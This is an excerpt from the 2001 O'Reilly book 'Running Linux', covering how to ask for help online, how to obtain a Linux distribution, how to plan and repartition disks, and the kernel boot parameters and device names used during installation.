Many people make the mistake of posting or mailing messages pleading for help prematurely. When encountering a problem, do not--we repeat, do not--rush immediately to your nearest terminal and post a message to one of the Linux Usenet newsgroups. Often, you will catch your own mistake five minutes later and find yourself in the curious situation of defending your own sanity in a public forum. Before posting anything to any of the Linux mailing lists or newsgroups, first attempt to resolve the problem yourself and be absolutely certain what the problem is. Does your system not respond when you turn it on? Perhaps the machine is unplugged.

If you do post for help, make it worthwhile.

If all else fails, you may wish to post a message for help in any of the number of electronic forums dedicated to Linux, such as Usenet newsgroups and mailing lists. When posting, remember that the people reading your post are not there to help you. The network is not your personal consulting service. Therefore, it's important to remain as polite, terse, and informative as possible.

How can one accomplish this? First, you should include as much (relevant) information about your system and your problem as possible. Posting the simple request "I can't seem to get email to work" will probably get you nowhere unless you include information on your system, what software you are using, what you have attempted to do so far, and what the results were. When including technical information, it's usually a good idea to include general information on the version(s) of your software (Linux kernel version, for example), as well as a brief summary of your hardware configuration. However, don't overdo it--including information on the brand and type of monitor that you have is probably irrelevant if you're trying to configure networking software.

Second, remember that you need to make some attempt--however feeble--at solving your problem before you go to the Net. If you have never attempted to set up electronic mail, for instance, and first decide to ask folks on the Net how to go about doing it, you are making a big mistake. There are a number of documents available (see the previous section "Section 1.10, "Sources of Linux Information"") on how to get started with many common tasks under Linux. The idea is to get as far along as possible on your own and then ask for help if and when you get stuck.

Also remember that the people reading your message, however helpful, may occasionally get frustrated by seeing the same problem over and over again. Be sure to actually read the Linux HOWTOs, FAQs, newsgroups, and mailing lists before posting your problems. Many times, the solution to your problem has been discussed repeatedly, and all that's required to find it is to browse the current messages.

Third, when posting to electronic newsgroups and mailing lists, try to be as polite as possible. It's much more effective and worthwhile to be polite, direct, and informative--more people will be willing to help you if you master a humble tone. To be sure, the flame war is an art form across many forms of electronic communication, but don't allow that to preoccupy your and other people's time. The network is an excellent way to get help with your Linux problems--but it's important to know how to use the network effectively.

Previous | Home | Next
1.10. Sources of Linux Information | Book Index | 2. Preparing to Install Linux
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preparing to Install Linux (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 2. Preparing to Install Linux

Contents:

Distributions of Linux
Preparing to Install Linux

This chapter represents your first step in installing Linux. We'll describe how to obtain the Linux software, in the form of one of the various prepackaged distributions, and how to prepare your system. We'll include ways to partition disks so that Linux can coexist with Windows, OS/2, or another operating system.

As we have mentioned, there is no single "official" distribution of the Linux software; there are, in fact, many distributions, each of which serves a particular purpose and set of goals. These distributions are available via anonymous FTP from the Internet, on BBS systems worldwide, and via mail on floppy, tape, and CD-ROM.

2.1. Distributions of Linux

Because Linux is free software, no single organization or entity is responsible for releasing and distributing the software. Therefore, anyone is free to put together and distribute the Linux software, as long as the restrictions in the GPL are observed. The upshot of this is that there are many distributions of Linux, available via anonymous FTP or mail order.

You are now faced with the task of deciding on a particular distribution of Linux that suits your needs. Not all distributions are alike. Many of them come with just about all of the software you'd need to run a complete system--and then some. Other Linux distributions are "small" distributions intended for users without copious amounts of disk space. Many distributions contain only the core Linux software, and you are expected to install larger software packages, such as the X Window System, yourself. (In Chapter 5, "Essential System Management", we'll show you how.)

The Linux Distribution HOWTO contains a list of Linux distributions available via the Internet as well as mail order.

How can you decide among all of these distributions? If you have access to Usenet news, or another computer conferencing system, you might want to ask there for personal opinions from people who have installed Linux. Even better, if you know someone who has installed Linux, ask them for help and advice. In actuality, most of the popular Linux distributions contain roughly the same set of software, so the distribution you select is more or less arbitrary.

2.1.1. Getting Linux via Mail Order or Other Hard Media

If you don't have Internet or BBS access, you can get many Linux distributions via mail order on floppy, tape, or CD-ROM. Many distributors accept credit cards as well as international orders, so no matter where you live, you should be able to obtain Linux in this way.

Linux is free software, but distributors are allowed by the GPL to charge a fee for it. Therefore, ordering Linux via mail order might cost you between US $5 and US $150, depending on the distribution. However, if you know people who have already purchased or downloaded a release of Linux, you are free to borrow or copy their software for your own use. Linux distributors are not allowed to restrict the license or redistribution of the software in any way. If you are thinking about installing an entire lab of machines with Linux, for example, you need to purchase only a single copy of one of the distributions, which can be used to install all of the machines. There is one exception to this rule, though: in order to add value to their distribution, some vendors include commercial packages that you might not be allowed to install on several machines. If this is the cas, it should be explicitly stated on the package.

Many Linux user groups offer their own distributions; see if there's a user group near you. For special platforms like Alpha, a user group may be an excellent place to get Linux.

2.1.2. Getting Linux from the Internet

If you have access to the Internet, the easiest way to obtain Linux is via anonymous FTP.[12] One major FTP site is ftp://metalab.unc.edu, and the various Linux distributions can be found there in the directory /pub/Linux/distributions.

[12]If you do not have direct Internet access, you can obtain Linux via the FTPMAIL service, provided that you have the ability to exchange email with the Internet.

Many distributions are released via anonymous FTP as a set of disk images. That is, the distribution consists of a set of files, and each file contains the binary image of a floppy. In order to copy the contents of the image file onto the floppy, you can use the RAWRITE.EXE program under MS-DOS. This program copies, block-for-block, the contents of a file to a floppy, without regard for disk format. RAWRITE.EXE is available on the various Linux FTP sites, including ftp://metalab.unc.edu in the directory /pub/Linux/system/Install/rawwrite.

Be forewarned that this is a labor-intensive way of installing Linux: the distribution can easily come to more than 50 floppies.

Therefore, in many cases, you simply download the set of floppy images, and use RAWRITE.EXE with each image in turn to create a set of floppies. You boot from the so-called "boot floppy," and you're ready to roll. The software is usually installed directly from the floppies, although some distributions allow you to install from an MS-DOS partition on your hard drive. Some distributions allow you to install over a TCP/IP network. The documentation for each distribution should describe these installation methods if they are available.

Other Linux distributions are installed from a set of MS-DOS formatted floppies. For example, the Slackware distribution of Linux requires RAWRITE.EXE only for the boot and root floppies. The rest of the floppies are copied to MS-DOS formatted floppies using the MS-DOS COPY command. The system installs the software directly from the MS-DOS floppies. This saves you the trouble of having to use RAWRITE.EXE for many image files, although it requires you to have access to an MS-DOS system to create the floppies.

If you have access to a Unix workstation with a floppy drive, you can also use the dd command to copy the file image directly to the floppy. A command such as dd of=/dev/rfd0 if=foo bs=18k will "raw write" the contents of the file foo to the floppy device on a Sun workstation. Consult your local Unix gurus for more information on your system's floppy devices and the use of dd.

Each distribution of Linux available via anonymous FTP should include a README file describing how to download and prepare the floppies for installation. Be sure to read all available documentation for the release you are using.

When downloading the Linux software, be sure to use binary mode for all file transfers (with most FTP clients, the command binary enables this mode).

2.1.3. Getting Linux from Other Online Sources

If you have access to a BBS system, there may be a means to download the Linux software from this source. Not all Linux distributions are available from these computer networks, however; many, especially the various CD-ROM distributions, are available only via mail order.

Previous | Home | Next
1.11. Getting Help | Book Index | 2.2. Preparing to Install Linux
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preparing to Install Linux (Running Linux)

 Running LinuxSearch this book
Previous Next

2.2. Preparing to Install Linux

After you have obtained a distribution of Linux, you're ready to prepare your system for installation. This takes a certain degree of planning, especially if you're already running other operating systems. In the following sections, we'll describe how to plan for the Linux installation.

2.2.1. Installation Overview

While each release of Linux is different, in general the method used to install the software is as follows:

  1. Repartition your hard drive(s). If you have other operating systems already installed, you will need to repartition the drives in order to allocate space for Linux. This is discussed in the section "Section 2.2.4, "Repartitioning Your Drives"" later in this chapter. In some distributions, this step is integrated into the installation procedure. Check the documentation of your distribution to see whether this is the case. Still, it won't hurt you to follow the steps given here and repartition your hard drive in advance.

  2. Boot the Linux installation media. Each distribution of Linux has some kind of installation media--usually a "boot floppy"--or a bootable CD-ROM that is used to install the software. Booting this media will either present you with some kind of installation program, which will step you through the Linux installation, or allow you to install the software by hand.

  3. Create Linux partitions. After repartitioning to allocate space for Linux, you create Linux partitions on that empty space. This is accomplished with the Linux fdisk program, covered in the section "Section 3.1.3, "Creating Linux Partitions"" in Chapter 3, "Installation and Initial Configuration" or some other distribution-specific program like the Disk Druid that comes with Red Hat Linux.

  4. Create filesystems and swap space. At this point, you will create one or more filesystems, used to store files, on the newly created partitions. In addition, if you plan to use swap space, you will create the swap space on one of your Linux partitions. This is covered in the sections "Section 3.1.4, "Creating Swap Space"" and "Section 3.1.5, "Creating the Filesystems"," both in Chapter 3, "Installation and Initial Configuration".

  5. Install the software on the new filesystems. Finally, you will install the Linux software on your newly created filesystems. After this, if all goes well, it's smooth sailing. This is covered in the section "Section 3.1.6, "Installing the Software"" in Chapter 3, "Installation and Initial Configuration". Later, in the section "Section 3.3, "Running Into Trouble"," also in Chapter 3, "Installation and Initial Configuration", we describe what to do if anything goes wrong.

People who want to switch back and forth between different operating systems sometimes wonder which to install first: Linux or the other system? We can testify that some people have had trouble installing Windows 95 after Linux. Windows 95 tends to wipe out existing boot information when it's installed, so you're safer installing it first and then installing Linux afterward using the information in this chapter.

We don't know whether Windows 98 will demonstrate the same cavalier behavior as Windows 95. Windows NT seems to be more tolerant of existing boot information.

Many distributions of Linux provide an installation program, that will step you through the installation process and automate one or more of the previous steps for you. Keep in mind throughout this chapter and the next that any number of the previous steps may be automated for you, depending on the distribution.

Important hint: While preparing to install Linux, the best advice we can give is to take notes during the entire procedure. Write down everything you do, everything you type, and everything you see that might be out of the ordinary. The idea here is simple: if (or when!) you run into trouble, you want to be able to retrace your steps and find out what went wrong. Installing Linux isn't difficult, but there are many details to remember. You want to have a record of all these details so that you can experiment with other methods if something goes wrong. Also, keeping a notebook of your Linux installation experience is useful when you want to ask other people for help, for example, when posting a message to one of the Linux-related Usenet groups. Your notebook is also something you'll want to show to your grandchildren someday.[13]

[13]Matt shamefully admits that he kept a notebook of all of his tribulations with Linux for the first few months of working with the system. It is now gathering dust on his bookshelf.

2.2.2. Repartitioning Concepts

In general, hard drives are divided into partitions, where one or more partitions are devoted to an operating system. For example, on one hard drive, you may have several separate partitions--one devoted to, say, Windows, another to OS/2, and another two to Linux.

If you already have other software installed on your system, you may need to resize those partitions in order to free up space for Linux. You will then create one or more Linux partitions on the resulting free space for storing the Linux software and swap space. We call this process repartitioning.

Many MS-DOS systems utilize a single partition inhabiting the entire drive. To MS-DOS, this partition is known as C:. If you have more than one partition, MS-DOS names them D:, E:, and so on. In a way, each partition acts like a separate hard drive.

On the first sector of the disk is a master boot record along with a partition table. The boot record (as the name implies) is used to boot the system. The partition table contains information about the locations and sizes of your partitions.

There are three kinds of partitions: primary, extended, and logical. Of these, primary partitions are used most often. However, because of a limit on the size of the partition table, you can only have four primary partitions on any given drive. This is due to the poor design of MS-DOS; even other operating systems of the same era do not have such limits.

The way around this four-partition limit is to use an extended partition. An extended partition doesn't hold any data by itself; instead, it acts as a "container" for logical partitions. Therefore, you could create one extended partition, covering the entire drive, and within it create many logical partitions. However, you may have only one extended partition per drive.

2.2.3. Linux Partition Requirements

Before we explain how to repartition your drives, you need an idea of how much space you will be allocating for Linux. We will be discussing how to create these partitions later, in the section "Section 3.1.3, "Creating Linux Partitions"" in Chapter 3, "Installation and Initial Configuration".

On Unix systems, files are stored on a filesystem, which is essentially a section of the hard drive (or other medium, such as CD-ROM or floppy) formatted to hold files. Each filesystem is associated with a specific part of the directory tree; for example, on many systems, there is a filesystem for all the files in the directory /usr, another for /tmp, and so on. The root filesystem is the primary filesystem, which corresponds to the topmost directory, /.

Under Linux, each filesystem lives on a separate partition on the hard drive. For instance, if you have a filesystem for / and another for /usr, you will need two partitions to hold the two filesystems.

Before you install Linux, you will need to prepare filesystems for storing the Linux software. You must have at least one filesystem (the root filesystem), and therefore one partition, allocated to Linux. Many Linux users opt to store all their files on the root filesystem, which, in most cases, is easier to manage than several filesystems and partitions.

However, you may create multiple filesystems for Linux if you wish--for example, you may want to use separate filesystems for /usr and /home. Those readers with Unix system administration experience will know how to use multiple filesystems creatively. In the section "Section 6.1.4, "Creating Filesystems"" in Chapter 6, "Managing Filesystems, Swap, and Devices", we discuss the use of multiple partitions and filesystems.

Why use more than one filesystem? The most commonly stated reason is safety; if, for some reason, one of your filesystems is damaged, the others will (usually) be unharmed. On the other hand, if you store all your files on the root filesystem, and for some reason the filesystem is damaged, you may lose all your files in one fell swoop. This is, however, rather uncommon; if you back up the system regularly, you should be quite safe.[14]

[14]Matt uses a single 200-MB filesystem for all his Linux files and hasn't had any problems (so far).

On the other hand, using several filesystems has the advantage that you can easily upgrade your system without endangering your own precious data. You might have a partition for the users' home directories, and when upgrading the system, you leave this partition alone, wipe out the others, and reinstall Linux from scratch. Of course, nowadays distributions all have quite elaborate update procedures, but from time to time, you might want a "fresh start."

Another reason to use multiple filesystems is to divvy up storage among multiple hard drives. If you have, say, 100 MB free on one hard drive, and 2 GB free on another, you might want to create a 100-MB root filesystem on the first drive and a 2-GB /usr filesystem on the other. Currently it is not possible for a single filesystem to span multiple drives; if your free hard drive storage is fragmented between drives, you need to use multiple filesystems to use all the storage.

In summary, Linux requires at least one partition, for the root filesystem. If you wish to create multiple filesystems, you need a separate partition for each additional filesystem. Some distributions of Linux automatically create partitions and filesystems for you, so you may not need to worry about these issues at all.

Another issue to consider when planning your partitions is swap space. You have two options. The first is to use a swap file that exists on one of your Linux filesystems. You will create the swap file for use as virtual RAM after you install the software. The second option is to create a swap partition, an individual partition to be used only as swap space. Most people use a swap partition instead of a swap file.

A single swap file or partition may be up to 128 MB (more with the latest kernels).[15] If you wish to use more than 128 MB of swap (hardly ever necessary), you can create multiple swap partitions or files--up to 16 in all. For example, if you need 256 MB of swap, you can create two 128-MB swap partitions.

[15]This value applies to machines with Intel processors. On other architectures like the Alpha, it can be higher.

Setting up a swap partition is covered in the section "Section 3.1.4, "Creating Swap Space"" in Chapter 3, "Installation and Initial Configuration", and setting up a swap file in the section "Section 6.2, "Managing Swap Space"" in Chapter 6, "Managing Filesystems, Swap, and Devices".

Therefore, in general, you will create at least two partitions for Linux: one for use as the root filesystem, and the other for use as swap space. There are, of course, many variations on partitioning, but this is the minimal setup. You are not required to use swap space with Linux, but if you have less than 32 MB of physical RAM, it is strongly suggested that you do.

Of course, you need to know how much space these partitions will require. The size of your Linux filesystems (containing the software itself) depends greatly on how much software you're installing and what distribution of Linux you are using. Hopefully, the documentation that came with your distribution will give you an approximation of the space requirements. A small Linux system can use 40 MB or less; a larger system anywhere from 100 to 300 MB, or more. Keep in mind that in addition to the space required by the software itself, you need to allocate extra space for user directories, room for future expansion, and so forth.

If you use several partitions, you can use a rather small partition for the root directory. 32 MB should suffice--use at least 30-50 MB more if you keep /var on the same partition, as most people do. On the other hand, you will probably want to have a largish /usr partition.

The size of your swap partition (should you elect to use one) depends on how much virtual RAM you require. A rule of thumb is to use a swap partition that is twice the space of your physical RAM; for example, if you have 4 MB of physical RAM, an 8-MB swap partition should suffice. Of course, this is mere speculation; the actual amount of swap space you require depends on the software you will be running. If you have a great deal of physical RAM (say, 64 MB or more), you may not wish to use swap space at all.

Because of BIOS limitations, it is usually not possible to boot from partitions using cylinders numbered over 1023. Therefore, when setting aside space for Linux, keep in mind you may not want to use a partition in the over-1023 cylinder range for your Linux root filesystem. Linux can still use partitions with cylinders numbered over 1023, but you may not be able to boot Linux from such a partition. This advice may seem premature, but it is important to know when planning your drive layout, and today, many people have large disks with more than 1023 cylinders.

If you absolutely must use a partition with cylinders numbered over 1023 for your Linux root filesystem, you can always boot Linux from floppy. This is not so bad, actually; it takes only a few seconds longer to boot than from the hard drive. At any rate, it's always an option.

2.2.4. Repartitioning Your Drives

In this section, we'll describe how to resize your current partitions (if any) to make space for Linux. If you are installing Linux on a "clean" hard drive, skip this section and proceed to Chapter 3, "Installation and Initial Configuration".

The usual way to resize an existing partition is to delete it (thus destroying all data on that partition) and recreate it. Before repartitioning your drives, back up your system. After resizing the partitions, you can reinstall your original software from the backup. However, there are several programs available for MS-DOS that resize partitions nondestructively. One of these is known as FIPS and can be found on many Linux FTP sites.

Also, keep in mind that because you'll be shrinking your original partitions, you may not have space to reinstall everything. In this case, you need to delete enough unwanted software to allow the rest to fit on the smaller partitions.

The program used to repartition is known as fdisk. Each operating system has its own analogue of this program; for example, under MS-DOS, it is invoked with the FDISK command. You should consult your documentation for whatever operating systems you are currently running for information on repartitioning. Here, we'll discuss how to resize partitions for MS-DOS using fdisk, but this information should be easily extrapolated to other operating systems.

The fdisk program (on any operating system) is responsible for reading the partition table on a given drive and manipulating it to add or delete partitions. However, some versions of fdisk do more than this, such as adding information to the beginning of a new partition to make it usable by a certain operating system. For this reason, you should usually only create partitions for an operating system with the version of fdisk that comes with it. You can't create MS-DOS partitions with Linux fdisk; partitions created in this way can't be used correctly by MS-DOS (actually, if you really know what you are doing, you might be lucky in creating MS-DOS partitions from Linux, but we would not advise doing so). Similarly, MS-DOS fdisk may not be able to recognize Linux partitions. As long as you have a version of fdisk for each operating system you use, you should be fine. (Note that not all systems name this program fdisk; some refer to it as a "disk manager" or "volume manager.")

Later, in the section "Section 3.1.3, "Creating Linux Partitions"" in Chapter 3, "Installation and Initial Configuration", we describe how to create new Linux partitions, but for now we are concerned with resizing your current ones.

Please consult the documentation for your current operating systems before repartitioning your drive. This section is meant to be a general overview of the process; there are many subtleties we do not cover here. You can lose all the software on your system if you do not repartition the drive correctly.

Let's say that you have a single hard drive on your system, currently devoted entirely to MS-DOS. Hence, your drive consists of a single MS-DOS partition, commonly known as C:. Because this repartitioning method will destroy the data on that partition, you need to create a bootable MS-DOS "system disk," which contains everything necessary to run FDISK and restore the software from backup after the repartitioning is complete.

In many cases, you can use the MS-DOS installation disks for this purpose. However, if you need to create your own system disk, format a floppy with the command:

FORMAT /s A:
Copy onto this floppy all necessary MS-DOS utilities (usually most of the software in the directory \DOS on your drive), as well as the programs FORMAT.COM and FDISK.EXE. You should now be able to boot this floppy and run the command:
FDISK C:
to start up FDISK.

Use of FDISK should be self-explanatory, but consult the MS-DOS documentation for details. When you start FDISK, use the menu option to display the partition table, and write down the information displayed there. It is important to keep a record of your original setup in case you want to back out of the Linux installation.

To delete an existing partition, choose the FDISK menu option "Delete an MS-DOS Partition or Logical DOS Drive." Specify the type of partition you wish to delete (primary, extended, or logical) and the number of the partition. Verify all of the warnings. Poof!

To create a new (smaller) partition for MS-DOS, choose the FDISK option "Create an MS-DOS Partition or Logical DOS Drive." Specify the type of partition (primary, extended, or logical) and the size of the partition to create (specified in megabytes). FDISK should create the partition, and you're ready to roll.

After you're done using FDISK, exit the program and reformat any new partitions. For example, if you resized the first DOS partition on your drive (C:), you should run the command:

FORMAT /s C:
You may now reinstall your original software from backup.

Previous | Home | Next
2. Preparing to Install Linux | Book Index | 3. Installation and Initial Configuration
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installation and Initial Configuration (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 3. Installation and Initial Configuration

Contents:

Installing the Linux Software
Post-Installation Procedures
Running Into Trouble

At this point, you should have your Linux distribution and have disk space set aside for Linux. In this chapter, we present a general overview of the installation process. Each distribution has its own installation instructions, but armed with the concepts presented here, you should be able to feel your way through any installation. Appendix A, "Sources of Linux Information", lists sources of information for installation instructions and other help, if you're at a total loss.

Different Linux distributions store files in different locations, which can make it hard to describe how to administer Linux. For instance, the same files may be found on Red Hat, SuSE, and Debian systems, but they may be under the /etc directory on one system and the /sbin directory under another. Gradually, the vendors are standardizing the set of locations listed in a document called the Filesystem Hierarchy Standard, but in this book we'll just try to deal with lagging discrepancies by listing the locations of the most important files in the version of each major distribution that we checked.

3.1. Installing the Linux Software

After resizing your existing partitions to make space for Linux, you are ready to install the software. Here is a brief overview of the procedure:

  1. Boot the Linux installation media.

  2. Run fdisk under Linux to create Linux partitions.

  3. Run mke2fs and mkswap to create Linux filesystems and swap space.

  4. Install the Linux software and configure it.

  5. Finally, either install the LILO boot loader on your hard drive, or create a boot floppy in order to boot your new Linux system.

As we have said, one (or more) of these steps may be automated for you by the installation procedure, depending on the distribution of Linux you are using. Please consult your distribution's documentation for specific instructions.

3.1.1. Booting Linux

The first step is to boot the Linux installation media. In most cases, this is either a boot floppy, which contains a small Linux system or a bootable CD-ROM. Upon booting the floppy or the CD-ROM, you are presented with an installation menu of some kind that leads you through the steps of installing the software. On other distributions, you are presented with a login prompt when booting this floppy. Here, you usually log in as root or install to begin the installation process.

The documentation that comes with your particular distribution will explain what is necessary to boot Linux from the installation media.

Most distributions of Linux use a boot floppy that allows you to enter hardware parameters at a boot prompt to force hardware detection of various devices. For example, if your SCSI controller is not detected when booting the floppy, you will need to reboot and specify the hardware parameters (such as I/O address and IRQ) at the boot prompt. Likewise, IBM PS/1, ThinkPad, and ValuePoint machines do not store drive geometry in the CMOS, so you must specify it at boot time.

The boot prompt is often displayed automatically when booting the boot floppy or CD-ROM. This is the case for the Red Hat distribution. With distributions that do not show the prompt by default, you need to hold down the Shift or Control key or press the Scroll Lock key while booting the floppy or CD-ROM if you want to enter something at the boot prompt. If successful, you should see the prompt:

boot:
and possibly other messages. What you are seeing here is a boot prompt presented by LILO (the LInux LOader), a program used to boot the Linux operating system and specify hardware-detection parameters at boot time. After you have installed Linux, you may wish to install LILO on your hard drive, which allows you to select between Linux and other operating systems (such as MS-DOS) when the system is booted.

At this point you have several options. You can press the Enter key to simply boot Linux from the floppy with no special parameters. (You should try this first, and if installation seems to go well, you're all set.) Or, just wait until the installation proceeds, today's distributions set a timeout for the boot prompt, and when you do not enter anything for some time, they just continue booting. Otherwise, you may have to specify hardware-detection parameters at this boot prompt, to force the system to properly identify the hardware installed in your system.

If you don't want to try any hardware-detection parameters now, just press Enter at the boot prompt. Watch the messages as the system boots. If you have an SCSI controller, for example, you should see a listing of the SCSI hosts detected. If you see the message:

SCSI: 0 hosts

then your SCSI controller was not detected, and you will have to use the hardware detection procedure we'll describe in a moment.

Most new distributions often follow a different path of choosing hardware. They come with a minimal kernel on the boot disk and then load so-called kernel modules from either a second floppy disk or a CD-ROM. In this case, you will probably be dropped into some menu where you can select additional modules to be probed. Even specifying modules is largely automated: you just ask the installation program to probe for SCSI adapters and see whether yours is found. The same goes for Ethernet cards and other devices that are needed for the installation process. Devices that are not needed during the installation, such as sound boards, are unlikely to be detected at this point of the installation. You will probably be given the option to configure them later.

If the automated hardware detection procedures do not work for you (which normally is the case only if you have very old, very new or very unusual hardware), you will have to help Linux a bit by forcing hardware detection.

To force hardware detection, you must enter the appropriate parameters at the boot prompt, using the following syntax:

linux parameters

There are many such parameters, some of which are listed below. We don't expect you to understand what all of these parameters mean or are used for; rather, you should be able to determine which of these hardware options corresponds to your own system. For example, if you have an AHA152x-based SCSI controller, and you know that under MS-DOS you must configure the board for a particular I/O address and IRQ, you can use the corresponding option (aha152x=) here. In fact, many of these boot options are simply unnecessary for initial installation. We are presenting a more comprehensive list here, in one place, as you may find them useful later on.

One other piece of advice: write down and remember the boot options you use to get your system running. After you have installed Linux, you'll need to use the same boot options in order for your hardware to be properly detected each time you boot. If you install the LILO loader on your hard drive, you can configure it to automatically use a certain set of boot options so you won't have to type them each time.

no387

Disables the 80387 math coprocessor; circumvents some buggy coprocessors when used in protected mode.

no-hlt

Disables use of the HLT instruction; used to place the CPU into a low-power state when the system is idle. Some early 486DX-100 chips have a problem using this instruction.

root=device

Specifies the device to use as the root filesystem when booting the system. For initial installation this should not be used; after installaton of the system you can use this to override the default location of your Linux root filesystem.

ro

Mounts the root filesystem in a read-only state; used for system maintenance.

lock

Saves the boot parameters for the future so that you do not have to enter them each time you are booting the system.

rw

Mounts the root filesystem in a read-write state; used for system maintenance.

debug

Forces the kernel to print verbose debugging messages to the console as the system runs.

ramdisk=kilobytes

Tells the system to reserve the given number of kilobytes for a ramdisk. This is often used by installation boot floppies that load an entire filesystem image into memory. You don't want to use this option for initial installation, but if you want to experiment with ramdisks at a later date, this is the option to use.

mem=size

The system BIOS in most PCs only reports up to 64 MB of installed RAM; Linux uses this information to determine the amount of installed memory. If you have more than 64 MB and use an older kernel, you may need to use this parameter to allow the rest of system memory to be used. The size parameter can be a number with k or M appended; for example, mem=96M would specify a system with 96 MB of RAM installed. Note that if you tell the system it has more memory than is actually installed, Bad Things will eventually happen.

hd=cylinders,heads,sectors

Specifies the hard drive geometry for IDE and standard ST-506 drives (not SCSI drives). Required for systems such as the IBM PS/1, ValuePoint, and ThinkPad. For example, if your drive has 683 cylinders, 16 heads, and 32 sectors per track, use:

ramdisk hd=683,16,32
This option can also be used as hda=, hdb=, hdc=, or hdd= to specify the geometry for a particular IDE drive. Note that use of the hd= option may be necessary if you are using a large IDE drive (over 1024 cylinders). If Linux has problems recognizing the geometry of your drive (you'll know when you try to partition the disk for Linux), try using this option.

max_scsi_luns=num

If num is 1, the system won't probe for SCSI devices that have a Logical Unit Number (LUN) other than zero. This parameter is required for some poorly designed SCSI devices that lock up when probed at non-zero LUNs. Note that this does not have anything to do with the SCSI device ID; LUNs allow the addressing of multiple logical units or subdevices within a single SCSI device, such as a disk drive.

aha152x=iobase,irq,scsi-id,reconnect,parity

Specifies parameters for Adaptec AHA151x, AHA152x, AIC6260, AIC6230, and SB16-SCSI interfaces. iobase must be specified in hexadecimal, as in 0x340. All arguments except iobase are optional.

aha1542=iobase

Specifies the I/O base, in hex, for Adaptec AHA154x SCSI interfaces.

aic7xxx=extended,no-reset

Specifies parameters for Adaptec AHA274x, AHA284x, and AIC7xxx SCSI interfaces. A non-zero value for extended indicates that extended translation for large disks is enabled. If no-reset is non-zero, the driver will not reset the SCSI bus when configuring the adapter at boot time.

buslogic=iobase

Specifies the I/O base, in hex, for Buslogic SCSI interfaces.

tmc8xx=mem-base,irq

Specifies the base of the memory-mapped I/O region (in hex) and IRQ for Future Domain TMC-8xx and TMC-950 SCSI interfaces.

pas16=iobase,irq

Specifies the I/O base (in hex) and IRQ for Pro Audio Spectrum SCSI interfaces.

st0x=mem-base,irq

Specifies the base of the memory-mapped I/O region (in hex) and IRQ for Seagate ST-0x SCSI interfaces.

t128=mem-base,irq

Specifies the base of the memory-mapped I/O region (in hex) and IRQ for Trantor T128 SCSI interfaces.

aztcd=iobase

Specifies the I/O base (in hex) for Aztech CD-ROM interfaces.

cdu31a=iobase,irq,pas

Specifies the I/O base (in hex) and IRQ for CDU-31A and CDU-33A Sony CD-ROM interfaces. These options are used on some Pro Audio Spectrum sound cards, as well as boards from Sony. The irq and pas parameters are optional. If irq is 0, interrupts are not supported (as is the case with some boards). The only valid value for the pas option is PAS, indicating that a Pro Audio Spectrum card is being used.

soncd535=iobase,irq

Specifies the I/O base (in hex) and IRQ (optional) for Sony CDU-535 interfaces.

gscd=iobase

Specifies I/O base (in hex) for GoldStar CD-ROM interfaces.

mcd=iobase,irq

Specifies the I/O base (in hex) and IRQ (optional) for Mitsumi standard CD-ROM interfaces.

optcd=iobase

Specifies the I/O base (in hex) for Optics Storage Interface CD-ROM interfaces.

cm206=iobase,irq

Specifies the I/O base (in hex) and IRQ for Philips CM206 CD-ROM interfaces.

sjcd=iobase,irq,dma

Specifies the I/O base (in hex), IRQ, and DMA channel for Sanyo CD-ROM interfaces. The irq and dma parameters are optional.

sbpcd=iobase,type

Specifies the I/O base in hex for SoundBlaster Pro and compatible CD-ROM interfaces. The type parameter must be SoundBlaster, LaserMate, or SPEA, based on what type of board you have. Note that this option specifies parameters only for the CD-ROM interface, not for the sound hardware on the board.

ether=irq,iobase,parameters…

Specifies the IRQ and I/O base for Ethernet cards. If you are having problems detecting your Ethernet card and wish to use it for installation (e.g., via FTP or NFS), check out the Linux Ethernet HOWTO that describes the various boot options for Ethernet cards in much detail. There are too many to detail here.

floppy=thinkpad

Tells the floppy driver that you have a ThinkPad; necessary for floppy access on ThinkPad systems.

floppy=0,thinkpad

Tells the floppy driver that you do not have a ThinkPad, in case it's confused.

bmouse=irq

Specifies IRQ for busmouse[16] interface.

[16]A busmouse is a mouse attached to the system bus, instead of a serial port or a PS/2-style mouse port.

msmouse=irq

Specifies IRQ for Microsoft busmouse interface.

Quite a few other options are available; the previous options should be those that are generally necessary for normal use of your system. (For example, we have left out the many parameters available for sound card drivers; we urge you to read the appropriate HOWTO documents if you have a life-threatening situation involving use of your sound card.)

For each of these, you must enter linux followed by the parameters you wish to use.

If you have questions about these boot-time options, read the Linux Bootprompt HOWTO, Linux SCSI HOWTO, and Linux CD-ROM HOWTO. These three documents should be available on any Linux FTP site (as well as most Linux CD-ROMs) and describe the LILO boot arguments in more detail.

3.1.2. Drives and Partitions Under Linux

Many distributions require you to create Linux partitions by hand using the fdisk program. Others may automatically create partitions for you. Either way, you should know the following information about Linux partitions and device names. (This information applies only to Intel and Alpha systems; other systems like PowerPC, SPARC, and m68k do not have logical and extended partitions.)

Drives and partitions under Linux are given different names from their counterparts under other operating systems. Under MS-DOS, floppy drives are referred to as A: and B:, while hard drive partitions are named C:, D:, and so on. Under Linux, the naming convention is quite different.

Device drivers, found in the directory /dev, are used to communicate with devices on your system (such as hard drives, mice, and so on). For example, if you have a mouse on your system, you might access it through the driver /dev/mouse. Floppy drives, hard drives, and individual partitions are all given individual device drivers of their own. Don't worry about the device-driver interface for now; it is important only to understand how the various devices are named in order to use them. The section "Section 6.3, "Device Files"" in Chapter 6, "Managing Filesystems, Swap, and Devices", talks more about devices.

Table 3-1 lists the names of these various device drivers where multiple names can be created with increasing numbers (0, 1, etc.). One or two are shown in the table as examples.

Table 3-1. Linux Partition Names

Device | Name
First floppy (A:) | /dev/fd0
Second floppy (B:) | /dev/fd1
First hard drive (entire drive) | /dev/hda
First hard drive, primary partition 1 | /dev/hda1
First hard drive, primary partition 2 | /dev/hda2
First hard drive, primary partition 3 | /dev/hda3
First hard drive, primary partition 4 | /dev/hda4
First hard drive, logical partition 1 | /dev/hda5
First hard drive, logical partition 2 | /dev/hda6
... |
Second hard drive (entire drive) | /dev/hdb
Second hard drive, primary partition 1 | /dev/hdb1
... |
First SCSI hard drive (entire drive) | /dev/sda
First SCSI hard drive, primary partition 1 | /dev/sda1
... |
Second SCSI hard drive (entire drive) | /dev/sdb
Second SCSI hard drive, primary partition 1 | /dev/sdb1
... |
First SCSI CD-ROM drive | /dev/scd0
